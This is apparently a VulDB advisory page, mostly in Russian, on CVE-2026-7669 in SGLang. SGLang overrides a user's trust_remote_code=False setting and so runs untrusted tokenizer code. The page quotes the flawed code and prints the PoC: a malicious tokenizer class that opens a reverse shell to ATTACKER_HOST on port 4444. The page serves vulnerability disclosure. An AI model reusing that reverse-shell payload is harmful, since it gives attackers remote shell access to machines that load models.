sgl-project SGLang до 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code эскалация привилегий
| CVSS Meta Temp Score | Текущая цена эксплойта (≈) | Балл интереса CTI |
|---|---|---|
| 6.9 | $0-$5k | 0.00 |
Сводка
Была найдена уязвимость, отнесённая к категории критический, в sgl-project SGLang до 0.5.9. Неизвестная функция файла python/sglang/srt/utils/hf_transformers_utils.py компонента HuggingFace Transformer Handler используется. Осуществление манипуляции над аргументом trust_remote_code с использованием значения False в контексте Boolean приводит к эскалация привилегий.
Уязвимость зарегистрирована как CVE-2026-7669. Атаку можно осуществить удаленно. Кроме того, имеется доступный эксплойт.
Подробности
Была найдена уязвимость, отнесённая к категории критический, в sgl-project SGLang до 0.5.9. Неизвестная функция файла python/sglang/srt/utils/hf_transformers_utils.py компонента HuggingFace Transformer Handler используется. Осуществление манипуляции над аргументом trust_remote_code с использованием значения False в контексте Boolean приводит к эскалация привилегий. Декларирование проблемы с помощью CWE приводит к CWE-94. В данном уведомлении приводится следующая информация:
SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.Данный баг был выявлен 07.04.2026. Информация о слабости была опубликована автором Nicholas Gould, David Rochester (ngould and davidrochester). В опубликованной информации говорится:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.
Уязвимость зарегистрирована как CVE-2026-7669. Атаку можно осуществить удаленно. Доступна техническая информация. Сложность атаки довольно высока. Эксплуатационная пригодность, как говорят, затруднена. Уровень популярности этой уязвимости ниже среднего значения. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. Сейчас цена на эксплойт приблизительно равна USD $0-$5k. Проект MITRE ATT&CK объявляет технику атаки как T1059. Причина этой уязвимости заключается в следующем фрагменте кода:
# python/sglang/srt/utils/hf_transformers_utils.py:898-909
if not trust_remote_code and type(tokenizer)._name_ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
) В предупреждении говорится:On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.
Указано значение Доказательство концепции. Эксплойт доступен по адресу github.com. Уязвимость оставалась в статусе непубличного эксплойта нулевого дня не менее 25 дней. Исходный код эксплойта:
import os, pathlib
from transformers import PreTrainedTokenizerFast
class MaliciousTokenizer(PreTrainedTokenizerFast):
def _init_(self, args, *kwargs):
pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")
host = os.environ.get("ATTACKER_HOST")
if host:
import socket
s = socket.socket()
s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
os.execve("/bin/sh", ["sh"], os.environ)
super()._init_(args, *kwargs) В уведомлении отмечается:The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.
Продукт
Тип
Поставщик
Имя
Версия
CPE 2.3
CPE 2.2
CVSSv4
VulDB Вектор: 🔒VulDB Надёжность: 🔍
CVSSv3
VulDB Meta Base Score: 7.2VulDB Meta Temp Score: 6.9
VulDB Базовый балл: 5.6
VulDB Временная оценка: 5.1
VulDB Вектор: 🔒
VulDB Надёжность: 🔍
Исследователь Базовый балл: 8.8
Исследователь Вектор: 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Вектор | Сложность | Аутентификация | Конфиденциальность | Целостность | Доступность |
|---|---|---|---|---|---|
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
VulDB Базовый балл: 🔒
VulDB Временная оценка: 🔒
VulDB Надёжность: 🔍
Исследователь Базовый балл: 🔒
Эксплуатация
Класс: эскалация привилегийCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒
Физический: Нет
Локальный: Нет
Удалённый: Да
Доступность: 🔒
Доступ: публичный
Статус: Доказательство концепции
Автор: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Язык программирования: 🔒
Скачать: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
Прогноз цен: 🔍
Оценка текущей цены: 🔒
| 0-Day | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
|---|---|---|---|---|
| Сегодня | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
Разведка угроз
Интерес: 🔍Активные акторы: 🔍
Активные группы APT: 🔍
Контрмеры
Рекомендация: о смягчении не известноСтатус: 🔍
0-дневное время: 🔒
Задержка эксплуатации: 🔍
Хронология
07.04.2026 Уязвимость обнаружена07.04.2026 Поставщик проинформирован
02.05.2026 Консультация опубликована
02.05.2026 Запись VulDB создана
03.05.2026 Эксплойт опубликован
04.05.2026 Последнее обновление VulDB
Источники
Исследователь: Nicholas Gould, David Rochester (ngould, davidrochester)Статус: Не определено
CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013
Вход
Создано: 02.05.2026 10:05Обновлено: 04.05.2026 06:26
Изменения: 02.05.2026 10:05 (54), 03.05.2026 04:01 (1), 04.05.2026 06:23 (51), 04.05.2026 06:26 (8)
Завершенный: 🔍
Отправитель: ngould
Коммиттер: ngould
Cache ID: 216::103
Отправить
принято
- Отправить #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (по ngould)
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Комментариев пока нет. Языки: ru + be + en.
Пожалуйста, войдите в систему, чтобы прокомментировать.